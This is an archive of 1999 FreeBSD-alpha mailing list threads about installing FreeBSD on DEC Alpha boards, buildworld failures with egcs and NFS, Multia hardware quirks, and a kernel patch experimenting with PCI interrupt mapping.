AlphaPC164LX motherboard. My problem here is that I cannot find the Alpha
Port anywhere. http://www.freebsd.org/alpha says nothing about its location.

Thank You In Advance,
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On Mon, 12 Apr 1999, Matthew Jacob wrote:

> 
> On Mon, 12 Apr 1999, Loren J. Rittle wrote:
> 
> > In article <Pine.BSF.4.05.9904101828320.74823-100000@herring.nlsystems.com>,
> > Doug Rabson <dfr@nlsystems.com> writes:
> > 
> > >> Issue 2 - Random crashes.  With 3.1-RELEASE the system will randomly just
> > >> restart without any messages from the kernel or a core dump.  It's pretty
> > >> consistently related to lots of disk activity especially with more than one
> > >> process.  With the latest 4.x SNAPSHOT things are much more stable and it's
> > >> only done that once.
> > 
> > > I'm not too sure what to suggest. Has anyone else noticed this on 3.1?
> 
> Yes, but only for the multia.

It sounds like some kind of special treat that is included free with this
platform :-(

I wonder if there is a software workaround.

--
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On Mon, 12 Apr 1999, Koscielny, Wally wrote:

> Hello,
> 
> I am interested in installing FreeBSD Alpha on my 21164A 533 Mhz. on a
> AlphaPC164LX motherboard. My problem here is that I cannot find the Alpha
> Port anywhere. http://www.freebsd.org/alpha says nothing about its location.

The latest snapshots should be available in
ftp://ftp.freebsd.org/pub/FreeBSD/snapshots/alpha.

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Thanks. I am new to Alpha, will I be able to compile and run the ports from
the x86 ports dir?

Thanks

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> Sent:	Monday, April 12, 1999 3:17 PM
> To:	Koscielny, Wally
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> 
> On Mon, 12 Apr 1999, Koscielny, Wally wrote:
> 
> > Hello,
> > 
> > I am interested in installing FreeBSD Alpha on my 21164A 533 Mhz. on a
> > AlphaPC164LX motherboard. My problem here is that I cannot find the
> Alpha
> > Port anywhere. http://www.freebsd.org/alpha says nothing about its
> location.
> 
> The latest snapshots should be available in
> ftp://ftp.freebsd.org/pub/FreeBSD/snapshots/alpha.
> 
> --
> Doug Rabson				Mail:  dfr@nlsystems.com
> Nonlinear Systems Ltd.			Phone: +44 181 442 9037
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On Mon, 12 Apr 1999, Koscielny, Wally wrote:

> Thanks. I am new to Alpha, will I be able to compile and run the ports from
> the x86 ports dir?

You should be able to, yes.

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Great, thanks again.


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> 
> On Mon, 12 Apr 1999, Koscielny, Wally wrote:
> 
> > Thanks. I am new to Alpha, will I be able to compile and run the ports
> from
> > the x86 ports dir?
> 
> You should be able to, yes.
> 
> --
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In message <Pine.BSF.4.10.9904120938040.372-100000@picnic.mat.net>, Chuck Robey
 writes:
>I went looking on http://www.digital.com/alphaoem/alphamb.htm, and they
>show 3 PC164 motherboards, an -RX, -SX, and -LX versions of PC164.  Do
>you know which one this is, so I can look at the specs?

From Thor's description, it's none of these.  They all use SDRAM
DIMMS, where this board has 8 ECC FPM DRAM SIMM slots. 

>> They have no memory, and no case or power supply (they take ECC FPM DRAM,
>> *not* SDRAM, and have 8 SIMM slots of which either 4 or 8 must be filled
>> with the same size parts) -- they should fit in standard ATX cases, but
>> require a special power supply ($70-$90, details available) which has a
>> normal "hard" power switch instead of the ATX "soft" switch.
>> 
>> There is absolutely *no* warranty or guarantee, and the boards are as-is -- 
>> though (if you trust me) I can tell you that they come from what I'd call a
>> very reliable source.  They'll cost around $150-$200/ea, plus shipping.
>> 
>> I'm very unlikely to make any money from this; I'm mentioning it here becaus
>e
>> NetBSD/alpha runs great on these boards and, aside from the new 21264-based
>> systems, they're actually some of the fastest systems NetBSD runs on, period
>.
>> I'd like to see more people running NetBSD/alpha and I see this as a good
>> opportunity to help the interested do so for cheap.
>> 
>> I'm going to do a bulk purchase of these boards in the near future -- let
>> me know in the next few days if you're intersted.
>> 
>> Thor
>> 
>> -- 
>> Thor Lancelot Simon	                                      tls@rek.tjls.com
>> 	"And where do all these highways go, now that we are free?"
>> 
>> ----- End of forwarded message from Thor Lancelot Simon -----
>> 
>> Groeten / Cheers,
>> Wilko
>> _     ______________________________________________________________________
>>  |   / o / /  _  				Arnhem, The Netherlands
>>  |/|/ / / /( (_) Bulte 				WWW  : http://www.tcja.
>nl
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I can get the PC164LX with a 533 chip for ~$850 and the PC164 version with a
500 chip for ~$250. Is the additional 1 MB of Cache, 33 Mhz, SDRAM support,
and upgradibility to 600 chip worth the extra cash ?

Thanks,
WK



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> From:	Michael K. Sanders [SMTP:msanders@confusion.net]
> Sent:	Monday, April 12, 1999 3:58 PM
> To:	Chuck Robey
> Cc:	Wilko Bulte; FreeBSD-alpha mailing list
> Subject:	Re: many cheap PC164 boards -- gret for NetBSD (fwd) 
> 
> In message <Pine.BSF.4.10.9904120938040.372-100000@picnic.mat.net>, Chuck
> Robey
>  writes:
> >I went looking on http://www.digital.com/alphaoem/alphamb.htm, and they
> >show 3 PC164 motherboards, an -RX, -SX, and -LX versions of PC164.  Do
> >you know which one this is, so I can look at the specs?
> 
> From Thor's description, it's none of these.  They all use SDRAM
> DIMMS, where this board has 8 ECC FPM DRAM SIMM slots. 
> 
> >> They have no memory, and no case or power supply (they take ECC FPM
> DRAM,
> >> *not* SDRAM, and have 8 SIMM slots of which either 4 or 8 must be
> filled
> >> with the same size parts) -- they should fit in standard ATX cases, but
> >> require a special power supply ($70-$90, details available) which has a
> >> normal "hard" power switch instead of the ATX "soft" switch.
> >> 
> >> There is absolutely *no* warranty or guarantee, and the boards are
> as-is -- 
> >> though (if you trust me) I can tell you that they come from what I'd
> call a
> >> very reliable source.  They'll cost around $150-$200/ea, plus shipping.
> >> 
> >> I'm very unlikely to make any money from this; I'm mentioning it here
> becaus
> >e
> >> NetBSD/alpha runs great on these boards and, aside from the new
> 21264-based
> >> systems, they're actually some of the fastest systems NetBSD runs on,
> period
> >.
> >> I'd like to see more people running NetBSD/alpha and I see this as a
> good
> >> opportunity to help the interested do so for cheap.
> >> 
> >> I'm going to do a bulk purchase of these boards in the near future --
> let
> >> me know in the next few days if you're intersted.
> >> 
> >> Thor
> >> 
> >> -- 
> >> Thor Lancelot Simon
> tls@rek.tjls.com
> >> 	"And where do all these highways go, now that we are free?"
> >> 
> >> ----- End of forwarded message from Thor Lancelot Simon -----
> >> 
> >> Groeten / Cheers,
> >> Wilko
> >> _
> ______________________________________________________________________
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Doug Rabson wrote in message ID
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> > Anyway, I think egcs on alpha fair enough now.

> I have done a few -j8 buildworlds now without problem too.

My machine keeps having problems during the perl build. Specifically:

Manifying DynaLoader.3
cd /usr/obj/usr/src/gnu/usr.bin/perl/perl/ext ; for i in `find . -name \*.pm -o -name \*.pod | grep -v POSIX.pm` ; do  j=`echo $i | sed -e 's|./||' -e 's|/SysV/|/IPC/|'  -e 's|/Dumper/|/Data/|' -e 's|/lib/|/|'  -e 's|^[^/]*/||'  -e 's|/|::|g' -e 's|.pm|.3|' -e 's|.pod|.3|'`; i=`echo $i | sed -e 's|./||'` ; echo Manifying $j ; miniperl -I/usr/obj/usr/src/gnu/usr.bin/perl/perl/lib /usr/obj/usr/src/gnu/usr.bin/perl/perl/pod2man $i > ../lib/$j ; gzip -fn ../lib/$j ; done
Manifying B::Asmdata.3
Segmentation fault
*** Error code 139

Stop.
*** Error code 1

Anyone know what could be causing that? 

Thanks,

Gary
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Gary Palmer writes:
 > Doug Rabson wrote in message ID
 > <Pine.BSF.4.05.9904111926110.74823-100000@herring.nlsystems.com>:
 > > > Anyway, I think egcs on alpha fair enough now.
 > 
 > > I have done a few -j8 buildworlds now without problem too.
 > 
 > My machine keeps having problems during the perl build. Specifically:
 > 
 > Manifying DynaLoader.3
 > cd /usr/obj/usr/src/gnu/usr.bin/perl/perl/ext ; for i in `find . -name \*.pm -o -name \*.pod | grep -v POSIX.pm` ; do  j=`echo $i | sed -e 's|./||' -e 's|/SysV/|/IPC/|'  -e 's|/Dumper/|/Data/|' -e 's|/lib/|/|'  -e 's|^[^/]*/||'  -e 's|/|::|g' -e 's|.pm|.3|' -e 's|.pod|.3|'`; i=`echo $i | sed -e 's|./||'` ; echo Manifying $j ; miniperl -I/usr/obj/usr/src/gnu/usr.bin/perl/perl/lib /usr/obj/usr/src/gnu/usr.bin/perl/perl/pod2man $i > ../lib/$j ; gzip -fn ../lib/$j ; done
 > Manifying B::Asmdata.3
 > Segmentation fault
 > *** Error code 139
 > 
 > Stop.
 > *** Error code 1
 > 
 > Anyone know what could be causing that? 

Are you building with /usr/obj mounted via NFS?  NFS seems to have
broken in the last week or so.. 

I can no longer link kernels over NFS without ld dying a horrible
death.  At first I thought it was the new toolchain, but running a
newer kernel on an machine with an old toolchain results in the same
behaviour.

Drew
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> Are you building with /usr/obj mounted via NFS?  NFS seems to have
> broken in the last week or so.. 

Nope. Everything is on local disk, and multiple builds have died at
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Ditto here, did a clean cvs last night and make buildworld ran
flawlessly.. thanks guys :)

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>  > 
>  > For what its worth, I've just survived 2 'make buildworld && make
>  > installworld; reboot' ... cycles without make crashing.  I've also
> 

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Are these Bad(TM)?

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===> addr2line
cc -O -pipe -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/addr2line -I/usr/src/gnu/usr.bin/binutils/addr2line/../libbfd/alpha -I/usr/src/gnu/usr.bin/binutils/addr2line/../../../../contrib/binutils/include -I/usr/src/gnu/usr.bin/binutils/addr2line/../libbinutils -I/usr/src/gnu/usr.bin/binutils/addr2line/../../../../contrib/binutils/binutils   -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/gnu/usr.bin/binutils/addr2line/../../../../contrib/binutils/binutils/addr2line.c
cc -O -pipe -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/addr2line -I/usr/src/gnu/usr.bin/binutils/addr2line/../libbfd/alpha -I/usr/src/gnu/usr.bin/binutils/addr2line/../../../../contrib/binutils/include -I/usr/src/gnu/usr.bin/binutils/addr2line/../libbinutils -I/usr/src/gnu/usr.bin/binutils/addr2line/../../../../contrib/binutils/binutils   -I/usr/obj/usr/src/tmp/usr/include  -static -o addr2line addr2line.o  -L../libbinutils -lbinutils -L../libbfd -lbfd -L../libiberty -liberty
/usr/libexec/elf/ld: warning: cannot find entry symbol __start; defaulting to 00000001200000e0
===> ar
cc -O -pipe -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/ar -I/usr/src/gnu/usr.bin/binutils/ar/../libbfd/alpha -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/include -I/usr/src/gnu/usr.bin/binutils/ar/../libbinutils -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/binutils -I/usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/bfd   -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/gnu/usr.bin/binutils/ar/../../../../contrib/binutils/binutils/ar.c
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On Mon, 12 Apr 1999, Gary Palmer wrote:

> 
> Are these Bad(TM)?

I don't think so (but I thought they were fixed).

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On Mon, 12 Apr 1999, Andrew Gallatin wrote:

> 
> Gary Palmer writes:
>  > Doug Rabson wrote in message ID
>  > <Pine.BSF.4.05.9904111926110.74823-100000@herring.nlsystems.com>:
>  > > > Anyway, I think egcs on alpha fair enough now.
>  > 
>  > > I have done a few -j8 buildworlds now without problem too.
>  > 
>  > My machine keeps having problems during the perl build. Specifically:
>  > 
>  > Manifying DynaLoader.3
>  > cd /usr/obj/usr/src/gnu/usr.bin/perl/perl/ext ; for i in `find . -name \*.pm -o -name \*.pod | grep -v POSIX.pm` ; do  j=`echo $i | sed -e 's|./||' -e 's|/SysV/|/IPC/|'  -e 's|/Dumper/|/Data/|' -e 's|/lib/|/|'  -e 's|^[^/]*/||'  -e 's|/|::|g' -e 's|.pm|.3|' -e 's|.pod|.3|'`; i=`echo $i | sed -e 's|./||'` ; echo Manifying $j ; miniperl -I/usr/obj/usr/src/gnu/usr.bin/perl/perl/lib /usr/obj/usr/src/gnu/usr.bin/perl/perl/pod2man $i > ../lib/$j ; gzip -fn ../lib/$j ; done
>  > Manifying B::Asmdata.3
>  > Segmentation fault
>  > *** Error code 139
>  > 
>  > Stop.
>  > *** Error code 1
>  > 
>  > Anyone know what could be causing that? 
> 
> Are you building with /usr/obj mounted via NFS?  NFS seems to have
> broken in the last week or so.. 
> 
> I can no longer link kernels over NFS without ld dying a horrible
> death.  At first I thought it was the new toolchain, but running a
> newer kernel on an machine with an old toolchain results in the same
> behaviour.

Perhaps this is related to the NFS related VM problem that Matt Dillon was
just talking about on current?  The subject line is "Re: we still have NFS
problems in -current?".

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From owner-freebsd-alpha  Mon Apr 12 17:54:52 1999
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I know, I'm just full of them...first, thanks to everyone pointing out the
obvious, the Multia fan blows _out_, not _in_.  That's what I get for
pondering EMail and holding my hand over vents at 2am after changing a flat
in 40 Deg rain.  Although Bruce's mention of a 3X capacity fan is of
Interest...how does one get a hold of McMaster Carr and what's the part #.
 
Anyway...
 
ncr errors:
 
Seeing the ncr0 errors again, first is a 'SCSI phase error: CCB already
dequed" followed by repeated "timeout nccb" errors.
 
I have vague memories of similar problems in the early days of working on
Sidewinder when the first BSDI 810 support came out.  As I remember at the
time we actually traced it down to devices occasionally claiming to be
faster than they really were during the Fast SCSI negotiation.  One of the
joys of working for a company big enough to have a SCSI bus analyzer.  I'm
running with an Elite 9 (external case of course...heh) and I remember them
being the offender.  I think we got around it by adding a kernel option to
force the max data rate.  Don't quote me on that, it's been about 4 years.
 
dec_axppci_33_intr_map: bad interrupt pin XX:
 
During boot with the GENERIC kernel, I get bunches of
dec_axppci_33_intr_map: bad interrupt pin XX errors.  Lots of 30s and one
0x79.
 
Other drivers:
 
Before I waste my time, anyone know if the sound (Multia's have a WSS/MSS
compatible on the MB)  or lpt/ppbus drivers work on the Alpha port?
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> I know, I'm just full of them...first, thanks to everyone pointing out the
> obvious, the Multia fan blows _out_, not _in_.  That's what I get for
> pondering EMail and holding my hand over vents at 2am after changing a flat
> in 40 Deg rain.  Although Bruce's mention of a 3X capacity fan is of
> Interest...how does one get a hold of McMaster Carr and what's the part #.

See the 'My Multia doubles as a space heater' section of:

ftp://ftp.tuwien.ac.at/opsys/aux/netbsd/htdocs/Ports/alpha/multiafaq.html

for lots of good Multia info along with the part numbers for several fans
from McMaster Carr.  I've got a bunch of Multia urls compiled and if I get
through this list of who's naughty and who's nice before December, I'll
post it somewhere accessible. ;)

Please note that I can confirm the authors claim that the Multia which
once doubled as a space heater now sounds like a turbo-prop airplane.
Ciest la vie!

> Seeing the ncr0 errors again, first is a 'SCSI phase error: CCB already
> dequed" followed by repeated "timeout nccb" errors.

Is this an (older) Quantum drive?  I originally had mine hooked up to an
LPS 500mb, which the NCR did NOT like...  Replacing it with a newer
Quantum 2.1gb and an IBM DCARS did the trick.  Apparently Quantum's older
firmware really was quite sketchy.

> dec_axppci_33_intr_map: bad interrupt pin XX:
>  
> During boot with the GENERIC kernel, I get bunches of
> dec_axppci_33_intr_map: bad interrupt pin XX errors.  Lots of 30s and one
> 0x79.

The flaky DEC Multia firmware strikes again.  Wilko and others are rumored
to have a copy of an unreleased firmware revision from DEC which solves
this problem.  Chances are it is the fw which originated from Chris
Demetriou, but I've not been able to get a hold of it.  Basically, the PCI
controller is finding nonexistant garbage devices at every possible
address on the bus.  It *SHOULDN'T* actually do any harm, but one never
knows...

Just to let you know, I replaced my non-pci-slot NCR riser with the model
which has a pci slot naievely thinking it may help.  Bzzzzzzzzzzzzzz. 
Wrong answer :(

- Bruce

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On Mon, 12 Apr 1999 19:50:32 -0500 
 "Gooderum, Mark" <mark@jumpweb.com> wrote:

 > Before I waste my time, anyone know if the sound (Multia's have a WSS/MSS
 > compatible on the MB)  or lpt/ppbus drivers work on the Alpha port?

The audio works well under NetBSD/alpha; FreeBSD/alpha, on the other
hand, has no support for ISA DMA on the Alpha (last time I checked
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The saga continues...

> -----Original Message-----
> From: Doug Rabson [mailto:dfr@nlsystems.com]
> Sent: Saturday, April 10, 1999 12:35 PM
> To: Gooderum, Mark
> Cc: 'freebsd-alpha@freebsd.org'
> Subject: Re: FreeBSD Alpha and NICs
> 
> 
> On Fri, 9 Apr 1999, Gooderum, Mark wrote:
> 
>> ...
> 
> I fixed a bug in subr_rman.c where more than two clients attempted to
> share a resource. Can you check that you have version 1.5 of 
> subr_rman.c

The 3/26 snapshot has V1.4, however, the copy of current I've been building
has V1.5.

But I was stubborn and bored and got curious...first I went snooping and
found dec_axppci_33_intr_map() in dec_axppci_33.c.  A minor fix to some
debugging code gave me the following information:

  ...
  Probing for devices on PCI bus 0:
  dec_axppci_33_intr_map: slot 6, pin A: pirq 3, reg = b0f0f0a
  dec_axppci_33_intr_map: slot 6, pin A: mapped to line 11
  ncr0: <ncr 53c810 fast10 scsi> rev 0x01 int a irq 11 on pci0.6.0
  chip0: <Intel 82378ZB PCI to ISA bridge> rev 0x03 on pci0.7.0
  dec_axppci_33_intr_map: slot 8, pin A: pirq 2, reg = b0f0f0a
  dec_axppci_33_intr_map: slot 8, pin A: mapped to line 15
  de0: <Digital 21040 Ethernet> rev 0x23 int a irq 15 on pci0.8.0
  de0: DEC 21040 [10Mb/s] pass 2.3
  de0: address 08:00:2b:e2:c7:eb
  dec_axppci_33_intr_map: slot 11, pin A: pirq 0, reg = b0f0f0a
  dec_axppci_33_intr_map: slot 11, pin A: mapped to line 10
  dec_axppci_33_intr_map: slot 12, pin A: pirq 1, reg = b0f0f0a
  dec_axppci_33_intr_map: slot 12, pin A: mapped to line 15
  pn0: <82c168/82c169 PNIC 10/100BaseTX> rev 0x21 int a irq 15 on pci0.12.0

  fatal kernel trap:
  ...

Tracing things out, each slot corresponds to one byte in the
SIO_PCIREG_PIRQ_RTCTRL PCI config register.  The mapping of which slot to
which byte is based on some magic number (pirq) that is calculated based on
the slot number and the "intpin" PCI config value.  (Whatever the magic is,
the 2100 machine code has it in common).

BTW...the "mystery" device in slot 11 has a vendor ID of 0041011 and a rev
of 03800002 according to sniff_pci_bus in the SRM console, not sure what it
is, the builtin IDE interface?

I got similar results with both a second DEC Ethernet and with a Netgear
card.

The pirqreg value is 0x0b0f0f0a.  Going by the bit logic and code, this
works out to IRQ 11 (0b) for ncr0, IRQ 15 for de0 and de1 and/or pn0, and
IRQ 10 for the mystery device in slot 11.

Earlier I hacked kern_intr.c and pci_compat.c to gracefully return errors
all the way back to xx_attach()instead of falling through and dereferencing
NULL pointers.  This allowed the box to boot but would cause a lockup (if
2nd card another DEC card) or a panic (if 2nd card the Netgear card) which
sort of makes sense.

So feeling really, really bored with what I should be working on...

I modified dec_axppci_33_intr_map() with a rude hack (see below) to force
changing the the PCI/IRQ mapping config register to give the 2nd Ethernet
card a seperate IRQ, and viola, the system boots, the card probes, it can be
ifconfiged, etc.

However, trying to use the card fails.  Basically the arp never succeeds.  I
haven't gone so far as to sniff to see if the packet is making it onto the
wire.  The Netgear card gives an occaisional watchdog timer error, the DEC
based (21140) card gives nothing.  Doing an ifconfig shows that the media
autosense for both cards worked properly (whether 10BaseT or 100BaseTX).  So
the card on the original IRQ works and the remapped one doesn't quite.

So, next step was to change the hack to force the IRQ on the builtin
interface instead of the 2nd interface.  I did this on the 2nd card and it
seems to work, so again, the remapped card doesn't.  So the card functions,
but my hack to rewrite the PCI config register isn't enough to change the
mapping.  I made one more try w/forceing to IRQ 5 but gave a panic right
after the remapped interface was ifconfig'ed.

So that's how far I am.  I don't know if there are any references on the
Alpha and/or Multia architechure.  Unfortunately there is no SRM analouge
for isacfg like pcicfg.

Also I can't think of any elegant general work around, the system seems to
just plain come up with the cards configured to a shared IRQ - which FreeBSD
just doesn't tolerate.
--
Mark


+++ dec_axppci_33.c     Mon Apr 12 21:47:28 1999
@@ -76,6 +76,10 @@
 #define        NSIO_CFG2  2
 #define        NSIO_IDE_ENABLE 0x40

+#define DEBUG_IRQMAP 1
+#define PIRQ_FORCE_IRQ 1
+#define PIRQ_FORCE_IRQ_TO 14
+
 void
 dec_axppci_33_init()
 {
@@ -173,6 +177,11 @@
        int pirq;
        u_int32_t pirqreg;
        u_int8_t pirqline;
+#ifdef PIRQ_FORCE_IRQ
+       u_int32_t npirqreg;
+       u_int32_t workmask;
+       static int force_done = 0;
+#endif

 #ifndef DIAGNOSTIC
        pirq = 0;                               /* XXX gcc -Wuninitialized
*/
@@ -275,18 +284,35 @@
        }

        pirqreg = chipset.cfgreadl(0, 7, 0, SIO_PCIREG_PIRQ_RTCTRL);
-#if 0
-       printf("dec_axppci_33_intr_map: device %d pin %c: pirq %d, reg =
%x\n",
-               device, '@' + cfg->intpin, pirq, pirqreg);
+#ifdef PIRQ_FORCE_IRQ
+       if (!force_done) {
+               workmask = ((u_int32_t) 0xFF) << (PIRQ_FORCE_IRQ * 8);
+               pirqreg &= ~workmask;
+               workmask = ((u_int32_t) PIRQ_FORCE_IRQ_TO) <<
(PIRQ_FORCE_IRQ *

8);
+               npirqreg = pirqreg | workmask;
+               printf("dec_axppci_33_intr_map: Force PIRQ o=%x -> n=%x\n",
+                       pirqreg, npirqreg);
+               chipset.cfgwritel(0, 7, 0, SIO_PCIREG_PIRQ_RTCTRL,
npirqreg);
+               pirqreg = chipset.cfgreadl(0, 7, 0, SIO_PCIREG_PIRQ_RTCTRL);
+               if (pirqreg != npirqreg) {
+                       printf("dec_axppci_33_intr_map: Force PRIQ failed,
n=%x,

 p=%x\n",
+                               npirqreg, pirqreg);
+               }
+               force_done = 1;
+       }
+#endif
+#ifdef DEBUG_IRQMAP
+       printf("dec_axppci_33_intr_map: slot %d, pin %c: pirq %d, reg =
%x\n",
+               cfg->slot, '@' + cfg->intpin, pirq, pirqreg);
 #endif
        pirqline = (pirqreg >> (pirq * 8)) & 0xff;
        if ((pirqline & 0x80) != 0)
                panic("bad pirqline %d",pirqline);
        pirqline &= 0xf;

-#if 0
-       printf("dec_axppci_33_intr_map: device %d pin %c: mapped to line
%d\n",
-           device, '@' + cfg->intpin, pirqline);
+#ifdef DEBUG_IRQMAP
+       printf("dec_axppci_33_intr_map: slot %d, pin %c: mapped to line
%d\n",
+           cfg->slot, '@' + cfg->intpin, pirqline);
 #endif

        cfg->intline = pirqline;

--
Mark


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*after* the VM patch, I still get:

 make depend && make
cc -c -nostdinc -I- -I. -I../.. -I/usr/include  -DKERNEL -include
opt_global.h  -UKERNEL ../../alpha/alpha/genassym.c
cc -static -nostdinc -I- -I. -I../.. -I/usr/include  -DKERNEL -include
opt_global.h  genassym.o -o genassym
./genassym >assym.s
Illegal instruction - core dumped
*** Error code 132

Stop.
farrago.feral.com > uname -a
FreeBSD farrago.feral.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Mon Apr 12
23:02:43 PDT 1999     mjacob@farrago.feral.com:/tmp/sys/compile/FARRAGO
alpha

(same source builds in local or mfs based filesystems fine)


Anybody else still having NFS problems with alpha?




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On Tue, 13 Apr 1999, Gooderum, Mark wrote:

> The saga continues...
> 
> > -----Original Message-----
> > From: Doug Rabson [mailto:dfr@nlsystems.com]
> > Sent: Saturday, April 10, 1999 12:35 PM
> > To: Gooderum, Mark
> > Cc: 'freebsd-alpha@freebsd.org'
> > Subject: Re: FreeBSD Alpha and NICs
> > 
> > 
> > On Fri, 9 Apr 1999, Gooderum, Mark wrote:
> > 
> >> ...
> > 
> > I fixed a bug in subr_rman.c where more than two clients attempted to
> > share a resource. Can you check that you have version 1.5 of 
> > subr_rman.c
> 
> The 3/26 snapshot has V1.4, however, the copy of current I've been building
> has V1.5.
> 
> But I was stubborn and bored and got curious...first I went snooping and
> found dec_axppci_33_intr_map() in dec_axppci_33.c.  A minor fix to some
> debugging code gave me the following information:
> 
>   ...
>   Probing for devices on PCI bus 0:
>   dec_axppci_33_intr_map: slot 6, pin A: pirq 3, reg = b0f0f0a
>   dec_axppci_33_intr_map: slot 6, pin A: mapped to line 11
>   ncr0: <ncr 53c810 fast10 scsi> rev 0x01 int a irq 11 on pci0.6.0
>   chip0: <Intel 82378ZB PCI to ISA bridge> rev 0x03 on pci0.7.0
>   dec_axppci_33_intr_map: slot 8, pin A: pirq 2, reg = b0f0f0a
>   dec_axppci_33_intr_map: slot 8, pin A: mapped to line 15
>   de0: <Digital 21040 Ethernet> rev 0x23 int a irq 15 on pci0.8.0
>   de0: DEC 21040 [10Mb/s] pass 2.3
>   de0: address 08:00:2b:e2:c7:eb
>   dec_axppci_33_intr_map: slot 11, pin A: pirq 0, reg = b0f0f0a
>   dec_axppci_33_intr_map: slot 11, pin A: mapped to line 10
>   dec_axppci_33_intr_map: slot 12, pin A: pirq 1, reg = b0f0f0a
>   dec_axppci_33_intr_map: slot 12, pin A: mapped to line 15
>   pn0: <82c168/82c169 PNIC 10/100BaseTX> rev 0x21 int a irq 15 on pci0.12.0
> 
>   fatal kernel trap:
>   ...
> 
> Tracing things out, each slot corresponds to one byte in the
> SIO_PCIREG_PIRQ_RTCTRL PCI config register.  The mapping of which slot to
> which byte is based on some magic number (pirq) that is calculated based on
> the slot number and the "intpin" PCI config value.  (Whatever the magic is,
> the 2100 machine code has it in common).
> 
> BTW...the "mystery" device in slot 11 has a vendor ID of 0041011 and a rev
> of 03800002 according to sniff_pci_bus in the SRM console, not sure what it
> is, the builtin IDE interface?
> 
> I got similar results with both a second DEC Ethernet and with a Netgear
> card.
> 
> The pirqreg value is 0x0b0f0f0a.  Going by the bit logic and code, this
> works out to IRQ 11 (0b) for ncr0, IRQ 15 for de0 and de1 and/or pn0, and
> IRQ 10 for the mystery device in slot 11.
> 
> Earlier I hacked kern_intr.c and pci_compat.c to gracefully return errors
> all the way back to xx_attach()instead of falling through and dereferencing
> NULL pointers.  This allowed the box to boot but would cause a lockup (if
> 2nd card another DEC card) or a panic (if 2nd card the Netgear card) which
> sort of makes sense.
> 
> So feeling really, really bored with what I should be working on...
> 
> I modified dec_axppci_33_intr_map() with a rude hack (see below) to force
> changing the the PCI/IRQ mapping config register to give the 2nd Ethernet
> card a seperate IRQ, and viola, the system boots, the card probes, it can be
> ifconfiged, etc.
> 
> However, trying to use the card fails.  Basically the arp never succeeds.  I
> haven't gone so far as to sniff to see if the packet is making it onto the
> wire.  The Netgear card gives an occaisional watchdog timer error, the DEC
> based (21140) card gives nothing.  Doing an ifconfig shows that the media
> autosense for both cards worked properly (whether 10BaseT or 100BaseTX).  So
> the card on the original IRQ works and the remapped one doesn't quite.
> 
> So, next step was to change the hack to force the IRQ on the builtin
> interface instead of the 2nd interface.  I did this on the 2nd card and it
> seems to work, so again, the remapped card doesn't.  So the card functions,
> but my hack to rewrite the PCI config register isn't enough to change the
> mapping.  I made one more try w/forceing to IRQ 5 but gave a panic right
> after the remapped interface was ifconfig'ed.
> 
> So that's how far I am.  I don't know if there are any references on the
> Alpha and/or Multia architechure.  Unfortunately there is no SRM analouge
> for isacfg like pcicfg.
> 
> Also I can't think of any elegant general work around, the system seems to
> just plain come up with the cards configured to a shared IRQ - which FreeBSD
> just doesn't tolerate.

By the looks of it, your workaround modifications to the IRQ mapping
haven't hit the right part of the mutlia hardware. The watchdog etc.
symptoms sound exactly light missed interrupts.

FreeBSD should support shared interrupts. Can I ask you to turn on
RMAN_DEBUG in subr_rman.c to get some (extremely verbose) debugging logs
of the irq resource allocation.

I have a tarball of some mutlia hardware documentation if you are
interested...

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From owner-freebsd-alpha  Tue Apr 13  2:31:45 1999
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From: Khaled Daham <khaled@mailbox.telia.net>
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Subject: make buildworld , failed.
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I downloaded the 4.0-19990316 src a while ago.
now when i try to make buildworld it fails with these lines

In file included from
/usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-e
mit.c:29:
/usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/rtl.h:796: warning:
`enum                                                   reg_class'
declared inside parameter list
/usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/rtl.h:796: warning:
its sc                                                  ope is only this
definition or declaration,
/usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/rtl.h:796: warning:
which                                                   is probably not
what you want.
/usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/rtl.h:796: warning:
parame                                                  ter has incomplete
type
/usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-emit.c: In
function `bc
_initialize':
/usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-emit.c:432:
`BITS_PER_U                                                  NIT'
undeclared (first use this function)
/usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-emit.c:432:
(Each undec                                                  lared
identifier is reported only once
/usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-emit.c:432: for
each fu                                                  nction it appears
in.)
/usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-emit.c:436:
`BITS_PER_W                                                  ORD'
undeclared (first use this function)
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.

Any hints ?

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On Tue, 13 Apr 1999, Khaled Daham wrote:

> I downloaded the 4.0-19990316 src a while ago.
> now when i try to make buildworld it fails with these lines

Can you retry with today's current. We no longer have gcc in the tree
since we have switch over to egcs.

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I could ..
one thing i didnt find freebsd-elf.h on my system .
hm the tag is *default release=cvs tag=. right ?
well ill give it a shot.

On Tue, 13 Apr 1999, Doug Rabson wrote:

> On Tue, 13 Apr 1999, Khaled Daham wrote:
> 
> > I downloaded the 4.0-19990316 src a while ago.
> > now when i try to make buildworld it fails with these lines
> 
> Can you retry with today's current. We no longer have gcc in the tree
> since we have switch over to egcs.
> 
> --
> Doug Rabson				Mail:  dfr@nlsystems.com
> Nonlinear Systems Ltd.			Phone: +44 181 442 9037
> 
> 

/Khaled, Telia Network Services

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At Sun, 11 Apr 1999 19:26:49 +0100 (BST),
Doug Rabson <dfr@nlsystems.com> wrote:
> > I'm going to make world/kernel with '-Os -mcpu=ev56'.
> 
> That might be interesting..

I couldn't finish make world with '-Os -mcpu=ev56" because bison 
run forever. And the kernel built with the option was unstable.
